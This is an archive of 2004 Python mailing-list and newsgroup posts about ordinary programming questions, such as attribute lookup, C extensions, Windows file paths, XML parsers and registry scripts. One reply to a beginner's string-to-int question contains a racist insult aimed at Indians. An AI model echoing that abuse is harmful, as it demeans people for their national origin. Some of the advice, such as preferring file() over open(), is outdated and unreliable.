References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
	<bvk4m4$rna$1@news.service.uci.edu>
	<b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>
	<bvmn6r$9r0$1@news.service.uci.edu>
	<5onv10pd080l2jkufaigdtcn21p2735jpf@4ax.com>
	<bvppfm$7fu$1@news.service.uci.edu>
	<tg8520h4n4nv62hes4r9buoigstt9ouhgc@4ax.com>
Message-ID: <bvu8pt$e62$1@news.service.uci.edu>

> 
> PS: yes, it is; you know me from sf :)
> 

I suspected it was you, but I can't find any record of you emailing me 
directly, and didn't want to jump to conclusions.

Good to see you developing.

  - Josiah


From glc at well.com  Wed Feb  4 11:44:39 2004
From: glc at well.com (Greg Chapman)
Date: Wed, 04 Feb 2004 16:44:39 GMT
Subject: Speed of attribute lookup (was Re: advice on programming style:
	is multiple inheritance bad?)
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<slrnc1r2id.ea6.joe@gate.notcharles.ca>
	<101rd69b9127s51@news.supernews.com>
	<bvkh00$38r$1@panix1.panix.com>
Message-ID: <n282209gef37juq7j248otjg0qsp5l5is2@4ax.com>

On 1 Feb 2004 22:42:56 -0500, aahz at pythoncraft.com (Aahz) wrote:

>The problem with attribute lookup in new-style classes is that any
>instance attribute could be a property.  So if Python finds an attribute
>on the instance, it needs to traverse the MRO to check if there's a
>property.  If there isn't one, that's an expensive waste.
>
>Guido, Ping, and I worked on a patch to fix that at last year's PyCon
>sprint, but one common case slowed down enough that Guido vetoed the
>patch.  Anyone who wants to bring fresh eyeballs would be welcome.
>(Don't remember the precise specifics off-hand, but I'm willing to work
>with someone who wants to try.)

I assume the work you did last year is the cache-attr-branch in the CVS?  Is
there some documentation somewhere that more fully describes the reasons for
your approach (and possibly rejected alternatives)?

I wonder if you considered turning off the cache for types with no instance dict
(tp_dictoffset == 0)?  The slowdown in access to attributes defined in the first
class in the mro is probably most critical for built-in types (without instance
dicts), which access both methods and data using class attributes.  For types
implemented in Python, I for one would be willing to trade some slow down in
accessing class attributes (generally a prelude to making a Python function
call, which is going to be relatively slow anyway), for a speed up in accessing
instance attributes.

---
Greg Chapman



From jcarlson at nospam.uci.edu  Mon Feb  2 21:04:56 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 18:04:56 -0800
Subject: Find function names from C
In-Reply-To: <zaCdnSd72anecoPdRVn-jg@comcast.com>
References: <zaCdnSd72anecoPdRVn-jg@comcast.com>
Message-ID: <bvmvof$hfp$1@news.service.uci.edu>

Berlin Brown wrote:

> I am parsing a C file and want to find the function names, is this 
> python worthy or is Emacs-Lisp better for this.  I have searched for 
> some libraries but coming up null.  I just need the function names, no 
> args or anything else.  I would probably have to run a regular 
> expression pattern looking for int,void,static, etc and then the 
> enclosing { }.
> 

That sounds like something a recursive descent (sp?) parser could do 
very well (or really any other programming language parser).  In 
general, a regular expression would not be sufficient, due to nested 
blocks of {} like the following:

int main () {
   if (1) {
     return 4;
   } else {
     return 3;
   }
   return 2;
}

FYI: regular expressions are those languages that can be recognized by 
finite state automata.  Because most modern programming languages are 
context-free grammars, they are not recognized by regular expressions 
and thusly finite state automata.

I would be willing to bet that someone has already implemented a parser 
for C/C++ in Python.  If not, talk to someone taking a compilers class, 
they'll be able to help you.

  - Josiah


From claird at lairds.com  Thu Feb 19 10:43:53 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 19 Feb 2004 15:43:53 -0000
Subject: best way(s) to fit a polynomial to points?
References: <iuu4g1-kl1.ln1@jowls.lairds.org>
	<1033dpcqcubjg16@corp.supernews.com>
	<3of9g1-fuv.ln1@jowls.lairds.org>
Message-ID: <1039mdpi4aeuj9b@corp.supernews.com>

In article <3of9g1-fuv.ln1 at jowls.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
			.
			.
			.
>I was generating the test points with a simple algorithm.  I
>finally discovered that the fitting algorithm fails if the
>points are (close to being) colinear.
			.
			.
			.
>I'll append the code that I successfully used.
>
>>Will the new (x,y)-s be interior to the convex hull formed by
>>the tabulated ones, or might they be outside?
>
>It's good practice to make them interior (have ground control
>points around the perimeter of the region of interest) but it
>isn't always the case.  The solution should be general enough
>to work for outside points but it's understood that the error
>for them is likely to be high.
>
>>How
>>soon does this thing need to go live?
>
>It's something I meant to do during my Remote Sensing class
>last semester and then someone asked about it in another news
>group recently.  It's not urgent.  I just wanted to solve it.
>
>(I have some aerial photos that I georeferenced using ERDAS
>Imagine but I want to use my own code so that I can do more
>with them.)
>
>I'm happy with the C code, but I'd still prefer a Python
>solution.
			.
		[few hundred lines of C]
			.
			.
Right.

The C source exhibited has no geodetic or cartographic content,
apart from a slight assymmetry in the model polynomial; it's
just a simple-minded least-squares regression against a few
leading terms (of what I hope are zero-based data--do you in
fact precondition your data?).  It looks to me like a very
straightforward exercise to translate this mechanically to Python.

One ought to be able to do better, though.  I don't know the 
scientific packages available to Python.  You mentioned previously
that you found a couple of good univariate polynomial solvers, but
no multivariate one.  The cheap alternative is to pick out a 
least-squares solver--there surely are several, and they're easy
to write, if not--and feed it tabulations of the terms of data:
1, x, y, (x ** 2) * y, x * (y ** 2), ...  The biggest hazard is
the temptation to use too many terms.

This makes for a robust solver, is far less expensive than the
analytic work required for a formally-correct-but-practically-
indistinguishable solution, invariably, in my experience, yields
useful and/or instructive results, and, nicest of all, generalizes
nicely to appropriate transformations of the data.  If you've
designed the solver correctly, it's easy to experiment with
logarithms or square roots or such.  I think that's a healthy thing.

It's probably also timely to read up on R <URL:
http://www-106.ibm.com/developerworks/linux/library/l-sc16.html >.
There have been at least a couple of Python-R bindings in the last
four years.  I haven't checked at all to assess their current 
health.

And, oh YES, (near) colinearity indeed makes things go kablooey.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From mgerrans at mindspring.com  Sun Feb 22 22:10:09 2004
From: mgerrans at mindspring.com (Matt Gerrans)
Date: Mon, 23 Feb 2004 03:10:09 GMT
Subject: Case sensitive file names
References: <mailman.170.1077470876.27104.python-list@python.org>
	<b4a8ffb6.0402221612.8de6c47@posting.google.com>
Message-ID: <lae_b.4381$yZ1.780@newsread2.news.pas.earthlink.net>

> When opening a file with file.open(filename,"r") under Windows, I find
> that the file name is case sensitive - ...

Poppycock!   Filenames in Windows preserve case, but are *not* case
sensitive for opening, finding, etc.   That is, if you save "TEST.TXT", then
you can successfully open "test.txt".

Nevertheless, there are several answers to your question:

If you did want to get the correct-case of the file name, then you could use
glob, or win32file.FindFilesW() or something like that, then match the exact
case result with whatever you are looking for (case-sensitve or not, as you
require).

Your real problem, shown in your example is your inconsistent use of '\' or
'\\'.   If you want to use single backslashes, that fine and dandy, but you
should then use raw strings, eg. "open( r'c:\temp\somefile.txt' )".    The
IOError message gives a good clue, if you look closely (and remember that
'\t' == TAB character).

Also 'file' is the built-in file object in Python, so using it as a variable
is legal, but not a good practice.   In fact, using open() is somewhat
deprecated in favor of using file(), these days, although they both have the
same syntax.   So instead of this:

   for line in open( filename ):
       processLine( line )

It is now more common (I think) to do this:

   for line in file( filename ):
      processLine( line )

While these both accomplish the same task, the second is preferred, because
what you are doing it creating an instance of the file object (in both
cases) and iterating over it.    That means that the second is a little more
consistent and explicit, because the way to create some object in python is
normally through its constructor.   The file object just has this other way
of doing it (with 'open') for backward compatibility with the way it used to
be.

To reiterate the most salient point:

> Here's my example
> >>> file =open("c:\python23\programs\test.txt")

Your problem would be solved by adding a little 'r' in front of the filename
string, like so:

inputFile = file( r"c:\python23\programs\test.txt" )

(I also changed 'open' to 'file' and changed the variable name to avoid
stomping on the built-in 'file')

By the way, I think your second example works merely by luck, since '\t'
expands to the tab character, but '\T' does not.   I don't know whether the
fact that Python ignores invalid escape sequences (treating them as a
backslash followed by whatever the character is) is a feature or a bug.
Seems to me, if you didn't specify a raw string, but have invalid excape
sequences, an exception would be in order...




From nir1408 at hotmail.com  Mon Feb 23 18:02:43 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Tue, 24 Feb 2004 01:02:43 +0200
Subject: Where can I post a new debugger?
In-Reply-To: <DE1CF2B4FEC4A342BF62B6B2B334601E561D8A@opus.amorhq.net>
Message-ID: <BAY10-DAV62uciDjE4y0008519e@hotmail.com>


Robert Brewer wrote:

> Ziaran wrote:
> > I like URLs, they are so easy to click, and there is always 
> > the possibility for pleasant surprises inside.
>
>...and an equal opportunity for unpleasant suprises.
>
> No, that's not true. Not equal. The unpleasant:pleasant ratio is more 
> like 1,000,000 to 1.
>
> > And here is the link again; hoping this time people in need 
> > will believe it worth while to click:
>
> It's all about trust, Ziaran. A URL without explanation undermines
> trust. A domain named "freehosting.net" undermines trust. A hotmail
> sending address undermines trust. Etcetera. It might be the greatest
> code since bread[:], but to "believe it worthwhile to click" has nothing
> to do with that. Hope you can tell I'm not angry--just informing you why
> I (and many others) won't click your link.
>
>
> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org

You don't have to click my link,

I don't know where you formed your bad experience of the Internet
I freely and happily surf the web from 1988, even before the days of web browsers.
I have never been hacked.
I have never been infected by viruses, worms, or Trojans.
I hardly even get any spam to my HOTMAIL account (Although I use it frequently for eCommerce).

My "secret", if you will, is to stick to these simple rules:
1. Stay away from warez and porn sites.
2. Don't install or use pirated software.
3. Don't forward spam

Try it and I guaranty the internet will change for you forever. 

And as for my link,
I wrote enough about its content in previous mails
I promise it does not bite.

Pdb version for multiple threads at http://ziaran.freehosting.net

The freehosting domain is for the simple reason that I never before needed a web site of my own. Maybe I will register a domain soon...

Nir



From LittleDanEhren at yahoo.com  Mon Feb  2 20:29:13 2004
From: LittleDanEhren at yahoo.com (Daniel Ehrenberg)
Date: 2 Feb 2004 17:29:13 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
	<e838aa6e.0402020730.3d45c9b1@posting.google.com>
Message-ID: <711c7390.0402021729.fcf22a1@posting.google.com>

> I think the point is, why on earth would you want to do something like
> that?  If you want a language you can use to make programs that make
> no sense to anyone but the author, Perl should be more than sufficient
> for your needs.

Nobody uses Perl because they like its illegibility, they think (for
some reason) that it's more powerful.
As for the flexibility of Io, there's a big difference between
flexibility and illegibility. Whenever a new, more powerful
programming language comes out, everybody says it's too flexible.
Fortran people were saying that about C, C people were saying it about
C++ and Java, and C++ and Java people are still saying it about
Python. Dynamic typing? That's so error-prone, they say. Flexible
block syntax? Code is "illegible", you say.

Daniel Ehrenberg


From mcfletch at rogers.com  Fri Feb 20 03:22:15 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 20 Feb 2004 03:22:15 -0500
Subject: disappearing of global perlish variables
In-Reply-To: <1deb305l037b7ao9esroc2ass30esd0d3q@4ax.com>
References: <1deb305l037b7ao9esroc2ass30esd0d3q@4ax.com>
Message-ID: <4035C3B7.8060009@rogers.com>

gabriele renzi wrote:

>Hi gurus and nubys,
>
>matz said more than once that the perlish global variables like
>$/ or $: are going away in future releases.
>  
>
Hmm, I've never, (in 8 years) seen $/ or $: (as Python code) in Python.  
I'm sure I would have remembered something that jarringly opaque if it 
were to show up in a Python module.  Are you asking if they are going 
away from Perl?  Or do these exist in some obscure (and obviously warped 
and twisted :) ) corner of Pythonalia that I've managed to avoid falling 
into through some good karmic influence from a past life?

>I wonder if is there already a decision, what they will become?
>I mean, it's easy to think that $DEFAULT_INPUT may become a class
>variable of IO but what about $1..$n or $: ?
>  
>
??? Um, are you sure this is the right newsgroup to ask?

>More, would it be possible to have some kind of backward compat via an
>external module ? 
>  
>
No, that sounds almost Pythonic, though from what I just read a few days 
ago, maybe Perl *is* trying to become Python via the v6 rewrite ;) , and 
thus maybe this thread (with a little explanation, perhaps, as to what 
on earth $/ or $: mean/do/change) does belong in the Python newsgroup.

Have fun,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From http  Sun Feb  1 01:24:43 2004
From: http (Paul Rubin)
Date: 31 Jan 2004 22:24:43 -0800
Subject: Firedrop, New Docs, easy to use python blog software...
References: <a5415304.0401312222.6eba545e@posting.google.com>
Message-ID: <7xk7375nbo.fsf@ruckus.brouhaha.com>

rstephens at vectron.com (Ron Stephens) writes:
> OK, I know there is a lot of blog software out there written in
> Python, but after a little more than one month of using it, I think
> Firedrop can compete on ease of use, ease of learning, and intuitive,
> fun use.

Why on earth does this need wxPython?  Why can't it just use a web
front end?


From pinard at iro.umontreal.ca  Tue Feb 10 09:45:38 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 10 Feb 2004 09:45:38 -0500
Subject: converting base class instance to derived class instance
In-Reply-To: <95aa1afa.0402092223.2a8cf358@posting.google.com>
References: <930ba99a.0401200413.5fae6fb9@posting.google.com>
	<100qm0soklj3439@news.supernews.com>
	<mailman.1372.1076344361.12720.python-list@python.org>
	<95aa1afa.0402092223.2a8cf358@posting.google.com>
Message-ID: <20040210144538.GA12880@alcyon.progiciels-bpi.ca>

[Michele Simionato]
> Fran?ois Pinard <pinard at iro.umontreal.ca> wrote in message news:<mailman.1372.1076344361.12720.python-list at python.org>...
> > By the way, what is a "heap type"?

> More or less, an user defined type, as opposed to a builtin type:

> http://groups.google.it/groups?hl=it&lr=&ie=UTF-8&threadm=2259b0e2.0301230800.50ab9858%40posting.google.com&rnum=1&prev=/groups%3Fhl%3Dit%26lr%3D%26ie%3DISO-8859-1%26q%3Dsimionato%2Bheap%2Btype%26meta%3Dgroup%253Dcomp.lang.python.*

That sequence of articles was instructive, thanks!

Maybe the Python documentation should be amended, somewhere, somehow, so
the expression "heap type" is explained.  Or maybe it is already and I
just did not find it.  The fact is that it is used in a diagnostic.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From frithiof.jensen at removethis.ted.ericsson.dk  Wed Feb 11 07:20:48 2004
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Wed, 11 Feb 2004 13:20:48 +0100
Subject: Recognize structures in Images
References: <opr20dblac1bpyqk@news.swissonline.ch>
Message-ID: <c0d6ju$jts$1@newstree.wise.edt.ericsson.se>


"David D?rrenmatt" <dd at guv.ethz.ch> wrote in message
news:opr20dblac1bpyqk at news.swissonline.ch...


>
> Do you know any web-ressources on this topic?

Maybe this: http://dkc.jhu.edu/gamera/

"Software framework for the creation of domain-specific recognition
applications"




From David  Sun Feb 22 10:51:01 2004
From: David (David)
Date: Sun, 22 Feb 2004 08:51:01 -0700
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
	<c19rga$c9q$02$1@news.t-online.com>
Message-ID: <rmjh30pch29aqnd1qibs6hvge473idhb2j@4ax.com>

On Sun, 22 Feb 2004 10:07:22 +0100, Peter Otten <__peter__ at web.de>
wrote:

># change the original iterator's behaviour
>class myFile2(file):
>    def __init__(self, name, affine):
>        self.affine = affine
>        file.__init__(self, name)
>
>    def next(self):
>        line = file.next(self)
>        r, c = line[:-1].split(",")
>        return self.affine(r,c)
>
>#create sample data
>r = iter(range(10))
>sample = "".join(["%d,%d\n" % (i,j) for (i,j) in zip(r,r)])
>file("tmp.txt", "w").write(sample)
>
>def op(a, b):
>    return int(a)*int(b)
>
>
>for v in myFile2("tmp.txt", op):
>    print v,
>print
>

Thank you, all!

Shalabh points out the failure of my understanding ["...note that the
example from Terry Reedy does not have a 'list of lines' - lines is an
iterable, which means it could be a file object.], and your second
example [class myfile2] is exactly what I had been trying to do.

dave



From Holger.Joukl at LBBW.de  Fri Feb 20 05:56:03 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Fri, 20 Feb 2004 11:56:03 +0100
Subject: Statement (un)equality ['LBBW': checked]
Message-ID: <OF381E394A.7DFC0419-ONC1256E40.003B469C@lbbw.sko.de>

You are applying the map function to multiple lists here, _not_ to one list
consisting of
2-element-lists. this results in:
t = map(func, s1, s2, ..., sn) ==> t[i] = func(s1[i], s2[i], ....sn[i])
The number of arguments taken by the function must match the number of
lists given,
which is the case in your example.
See library doc (or Beazley?s essential reference, or any other decent
book).

E.g. it is not possible to do:
>>> map(lambda x,y: [y,x], [1,2],[3,4],[5,6])
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: <lambda>() takes exactly 2 arguments (3 given)

but this is possible:
>>> [[y,x] for x,y in [1,2],[3,4],[5,6]]
[[2, 1], [4, 3], [6, 5]]
_________________________________

Holger Joukl
Landesbank Baden-W?rttemberg
1651 Financial Markets Technologies
fon +49 (711) 124 - 7078
fax +49 (711) 124 - 3759
_________________________________

__________________


castle:/home/adam>python
Python 2.3 (#3, Aug  4 2003, 16:43:33)
[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> [[y,x] for x,y in [1,2],[3,4]]
[[2, 1], [4, 3]]
>>> map(lambda x,y: [y,x], [1,2],[3,4])
[[3, 1], [4, 2]]
>>>
Why there is a difference? How to make the same thing like in map
statement?
Regards
        Adam Przybyla
--
 http://mail.python.org/mailman/listinfo/python-list

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From skchim0 at engr.uky.edu  Fri Feb 27 19:03:51 2004
From: skchim0 at engr.uky.edu (Satish Chimakurthi)
Date: Fri, 27 Feb 2004 18:03:51 -0600
Subject: Reading data from file: x(i),y(i) form
References: <00c301c3fd83$756a26e0$559ea380@D4XN6B41>
	<403FC066.7070303@rogers.com>
Message-ID: <003801c3fd8e$58fb6680$0300a8c0@D4XN6B41>

Hi all,

Thanks very very much for the tremendous response.


Regards,
Satish

----- Original Message ----- 
From: "Mike C. Fletcher" <mcfletch at rogers.com>
To: "Satish Chimakurthi" <skchim0 at engr.uky.edu>
Cc: "python" <python-list at python.org>
Sent: Friday, February 27, 2004 4:10 PM
Subject: Re: Reading data from file: x(i),y(i) form


> Satish Chimakurthi wrote:
> 
> > Hi all,
> >  
> > I have data of the following form in a file called "fluid_grid.dat"
> >  
> >   1.00000000000000        0.00000000000000D+000
> >   0.959753969508636       0.280842158538236
> 
> ...
> 
> > ifile4=open('fluid_grid.dat','r')
> > lines=ifile4.readlines( )
> > x=[ ]
> > y=[ ]
> > i=1
> > for line in lines:
> >         x[i],y[i]=map(float,line.replace('D','E').split( ))
> >         i=i+1
> >         if i==7:
> >            break
> >  
> > I get the following error:
> >  
> > x[i],y[i]=map(float,line.replace('D','E').split( ))
> > Index Error: list index out of range
> 
> You've most likely got a trailing \n\n at the end of the file (or even 
> in the middle), so you get a NULL line.  Simply do something like this:
> 
> import traceback
> ...
>   
> 
> for line in ifile4:
>     line = line.strip().replace( 'D', 'E' )
>     if line:
> values = line.split()
> if len(values) == 2:
>     x.append( values[0] )
>     y.append( values[1] )
> else:
>     print 'BAD LINE', repr(line)
>   
> 
> and you should be able to see what the offending line looks like.
> 
> HTH,
> Mike
> _______________________________________
> 
>   Mike C. Fletcher
>   Designer, VR Plumber, Coder
>   http://members.rogers.com/mcfletch/
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list



From FBatista at uniFON.com.ar  Tue Feb 24 11:44:26 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 24 Feb 2004 13:44:26 -0300
Subject: Generating reports from database
Message-ID: <A128D751272CD411BC9200508BC2194D03383661@escpl.tcp.com.ar>

I'm searching some package that allows to, from a SQL query to a database,
generate and send to printer and screen a report (sales detail, stock
report, etc.).

Somebody is doing something like this? Experiences?

Thank you!

.	Facundo



From jani at persian.com  Mon Feb 23 11:53:31 2004
From: jani at persian.com (Jani Yusef)
Date: 23 Feb 2004 08:53:31 -0800
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
Message-ID: <d3be1825.0402230853.48b0d10f@posting.google.com>

"Shah, Rajesh \(GE Consumer & Industrial\)" <Rajesh.Shah at ge.com> wrote in message news:<mailman.198.1077534828.27104.python-list at python.org>...
> Hi Everybody,
> 
> Can you guide me to convert string into Int datatype?
> (i.e. How can we convert string into int? like '555' into 555)
> 
> Thanks in advance.
> 
> ~Rajesh

Wow, YAMQFAI (Yet Another Moronic Question From An Indian). What is
terrible is how GE is now suffering because of these dollar a day
idiots. Man, what exactly did you learn at IIT? Did you learn how to
stop wiping your ass with your bare hand at least?
Anyway, the answer to your question is
s="555"
i=int(s)
now i is equal to 555.


From hilfmir at gmx.at  Mon Feb 23 12:29:35 2004
From: hilfmir at gmx.at (mzo)
Date: 23 Feb 2004 09:29:35 -0800
Subject: How can i get the parameternames of a non documented function ?
Message-ID: <2d0e7cf4.0402230929.74d0e208@posting.google.com>

Hello 

I import a module (wrapped from c code) and have no documentation of
it. How can i find out the name of the parameters / head of the
functions ?

The docstring is empty and help return only (...). 

martin


From theller at python.net  Fri Feb  6 16:13:28 2004
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Feb 2004 22:13:28 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <m3n07w43cw.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3c9n6hdz.fsf@python.net>


>> 	if (somecondition) {
>> 		PyObject *func;
>> 		PyObject *meth;
>> 		PyMethodDef *ml = my_methods;
>> 
>> 		for (; ml->ml_name; ++ml) {
>> 			func = PyCFunction_New(ml, NULL);
>> 			if (!func)
>> 				return NULL;
>> 			meth = PyClassMethod_New(func);
>
> How about "meth = PyDescr_NewClassMethod(result, ml);" here?
>

Yes, that works.  But it's not in Python 2.2, which is required ;-(

Thanks,

Thomas


From theller at python.net  Fri Feb  6 10:31:46 2004
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Feb 2004 16:31:46 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
Message-ID: <isik6x7h.fsf@python.net>

Michael Hudson <mwh at python.net> writes:

> Thomas Heller <theller at python.net> writes:
>
>> I once knew how to do it, but I cannot find or remember it anymore:
>> 
>> How can I attach *class* methods to a type in C code, when I have a
>> function
>> 
>> PyObject *func(PyObject *type, PyObject *arg);
>> 
>> with the METH_O calling convention?  The type is already created, I
>> cannot insert it into the tp_methods array anymore.
>> 
>> Something like this:
>> 
>> class X(object):
>>     pass
>> 
>> def func(cls, arg):
>>     ....
>> 
>> X.func = classmethod(func)
>
> Just stuff it into tp_dict?  You'll need to make the method object
> yourself, but that's easy.
>
> I think you probably have to hope that the name of the class method
> isn't a special method name (you'd want to call
> typeobject.c:update_slots then, but I don't think you can arrange for
> that to happen from outside typeobject.c as all the juicy symbols are
> static).

No special names.  Here's the code:

static PyObject *my_method(PyObject *self, PyObject *arg)
{
	Py_INCREF(arg);
	return arg;
}

static PyMethodDef my_methods[] = {
	{ "my_method", my_method, METH_O },
	{ NULL, NULL },
};

and then ('type' is the type where I want to create the class method on):

	if (somecondition) {
		PyObject *func;
		PyObject *meth;
		PyMethodDef *ml = my_methods;

		for (; ml->ml_name; ++ml) {
			func = PyCFunction_New(ml, NULL);
			if (!func)
				return NULL;
			meth = PyClassMethod_New(func);
			if (!meth)
				return NULL;
			if (-1 == PyDict_SetItemString(result->tp_dict,
						       ml->ml_name,
						       meth))
				return NULL;
		}
	}

I know that there are refcount leaks in this snippet, but that's not the
point.

Trying out the method:

c:\sf\ctypes>py23 -c "from ctypes import *; print c_int.my_method()"
<class 'ctypes.c_int'>

c:\sf\ctypes>py23 -c "from ctypes import *; print c_int.my_method(0)"
Traceback (most recent call last):
  File "<string>", line 1, in ?
TypeError: my_method() takes exactly one argument (2 given)
c:\sf\ctypes>

Works *nearly*, but I would have expected that the method accepts one
parameter, pass it as 'arg' to the C function, plus the type itself as
'self'.

> Or just stick TP_HEAPTYPE into tp_flags, use PyObject_SetAttr and take
> TP_HEAPTYPE out again (that's very sick, though).

Um, why that?

Thanks,

Thomas


From CWNEWBE1 at YAHOO.COM  Fri Feb 20 10:06:51 2004
From: CWNEWBE1 at YAHOO.COM (cwnewbe1@yahoo.com)
Date: 20 Feb 2004 07:06:51 -0800
Subject: loading a symbol into microsoft xp registry by remote logon server
Message-ID: <b9ed015.0402200706.5ebe10d6@posting.google.com>

I would like to be able to add environment symbols to the Microsoft XP
registry.  I tried the example in the Python Cookbook by Orielly by
running the script locally and it worked fine.  Although I noticed
that even though the symbol showed immediatedly in the registry by
viewing with regedit but not via a new dos command console, thus, I am
forced to reboot to make it 'lock in'.  Is this normal?

My wish is to have the script invoked in the start-up script when a
person logs into a network, that, will populate the logging on
machines registry with the desired symbols.  The Python.exe is on
another server (not the password verification server).

I do not want to place python.exe on every machine that needs symbols
loaded.

The symbols do not get loaded when I login to the network server.

The network machine is a Windows NT server.

First, in the logon script located on the network server I map a drive
to the server containing the python.exe
      NET USE z: \\heimdall\

Then I next execute in the logon script the python script as:
       z:\python_2.3.2\python.exe  z:\QA\env.py

Do I need to use a drive letter mapping, or can I use a URL syntax in
NT?

Enclosed is the code I am executing in env.py, minus the imports:
What am I missing? 
Can this be done?
Do I have correct priviledges in the logon script at this time?

# ***************************************************
# Set a System Environment Symbol on a local machine
#   c : a computers name  \\theComputer
#   k : the symbol key
#   v : data payload of the symbol value
def setSystemRegistrySymbol(c,k,v):
    print "Setting symbol on machine: " + c + " with symbol : " + k +
"=" + v
    x = _winreg.ConnectRegistry(c,_winreg.HKEY_LOCAL_MACHINE)
    y = _winreg.OpenKey(x,
                        r"SYSTEM\CurrentCOntrolSet\Control\Session
Manager\Environment",
                        0,
                        _winreg.KEY_ALL_ACCESS)
    _winreg.SetValueEx(y,k,0,_winreg.REG_EXPAND_SZ,v)
          
    _winreg.CloseKey(x)
    _winreg.CloseKey(y)

machine = r'\\myMachinesName'

setSystemRegistrySymbol(machine,"QA_BUILD",'\\\\Heimdall\\Firmware\\QA\\')


From exarkun at intarweb.us  Thu Feb  5 11:09:21 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 5 Feb 2004 11:09:21 -0500
Subject: integer overflow
In-Reply-To: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu>
References: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu>
Message-ID: <20040205160921.GB22941@intarweb.us>

On Thu, Feb 05, 2004 at 10:58:28AM -0500, Chad Haynes wrote:
> I got an odd error which I cannot explain and cannot seem to reproduce.
> The following statement
> 
> 	lst[0] = num
> 
> produced this error
> 
> 	OverflowError: unsigned short is greater than maximum
> 
> The number was around 65536 so it makes sense that it would overflow a 
> short, but why is it trying to force it into a short integer?

    >>> import array
    >>> a = array.array('h', [0])
    >>> a[0] = 10000000
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    OverflowError: signed short integer is greater than maximum

  Jp




From stuart.b at commonground.com.au  Thu Feb 12 06:31:49 2004
From: stuart.b at commonground.com.au (Stuart Bishop)
Date: Thu, 12 Feb 2004 22:31:49 +1100
Subject: package similar to XML::Simple
In-Reply-To: <402A69C2.FC8DABA@engcorp.com>
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
Message-ID: <0C046AFE-5D4F-11D8-9163-000A95A06FC6@commonground.com.au>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


On 12/02/2004, at 4:43 AM, Peter Hansen wrote:

>> Not at all. This message indicates a lack of understanding of basic
>> principles of XML on the side of the authors of this error message.
>
> You missed the point I was trying to make Martin, though perhaps it
> is clear now from other messages.
>
> Basically, if I tried to write an XML parser, and distributed it as
> such, and you found that it didn't handle this use case, you would
> be somewhat unfair to write an article claiming that my XML parser was
> in fact not an XML parser.  It has a bug in it, that's all.  I'd fix 
> it!

There is a big difference between a bug and not implementing
a large chunk of the spec for performance.

> The fact that the PyRXP maintainers have apparently refused to fix this
> problem *does* justify the complaint Uche is making, and I support him
> in that now.  I wasn't aware that anyone had even tried reporting the
> problem in the first place and was objection to an apparent 
> overreaction.

This isn't quite correct. ReportLab were more than happy to
take my patch on board, and if you install pyRXP from CVS you
get *two* parsers (pyRXP and pyRXPU). I personally don't
consider pyRXP an XML parser, as it is deliberately lacking what
is in my opinion the single most useful feature of XML (unambiguous
and universal Unicode support). For what Reportlab and others use
if for, however, it is quite sufficient.

It is unfortunate that the release on ReportLab's web site
is way out of date (possibly over a year), but they may have
more pressing concerns, or possibly nobody has even asked.
Not that it is really *their* problem - the code is GPL and
*anybody* with the time could release a fresh package.

> If the presence of a bug in a program means that one cannot label the
> program as being what it is intended to be, then all software would 
> have
> to be released with disclaimers like "this is supposed to be a Python
> interpreter, and might be someday, but isn't yet because there are some
> rare cases where it doesn't correctly interpret Python".

Classifying a lack of Unicode support in an XML parser as a
'bug' is ridiculous. I must admit that I was a bit miffed when
I first tried out 'the fastest validating XML parser around'
and found out it couldn't validate XHTML, ONIX or anything
except trivial examples I coded up - I got the impression that
someone who didn't understand XML had gotten a bit overexcited.
When I looked into it further, it became clear that pyRXP was
not what I would call an XML parser *by design* and that
ReportLab's definition of XML was slightly more flexible than
mine :-)


- --  
Stuart Bishop <stuart at stuartbishop.net>
http://www.stuartbishop.net/
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From sl-admin at li.org  Thu Feb 26 23:24:03 2004
From: sl-admin at li.org (sl-admin at li.org)
Date: Fri, 27 Feb 2004 04:24:03 +0000
Subject: Your message to sl awaits moderator approval
